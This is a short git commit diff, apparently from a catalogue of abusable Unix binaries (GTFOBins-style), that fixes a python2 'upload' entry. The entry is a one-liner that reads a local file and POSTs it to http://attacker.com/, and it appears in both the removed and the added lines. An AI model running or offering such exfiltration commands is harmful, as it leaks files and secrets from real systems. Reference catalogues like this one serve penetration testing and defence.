Fix python2 upload

This commit is contained in:
Emilio Pinna 2018-09-25 20:35:44 +01:00
parent 689e00461d
commit d3659b5cc6

View File

@ -13,7 +13,9 @@ functions:
code: |
export URL=http://attacker.com/
export LFILE=file_to_send
python2 -c 'import urllib as u,urllib2 as u2,os.environ as e; u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
python2 -c 'import urllib as u,urllib2 as u2;
from os import environ as e;
u2.urlopen(u2.Request(e["URL"],u.urlencode({"d":open(e["LFILE"]).read()})))'
- description: Serve files in the local folder running an HTTP server.
code: |
export LPORT=8888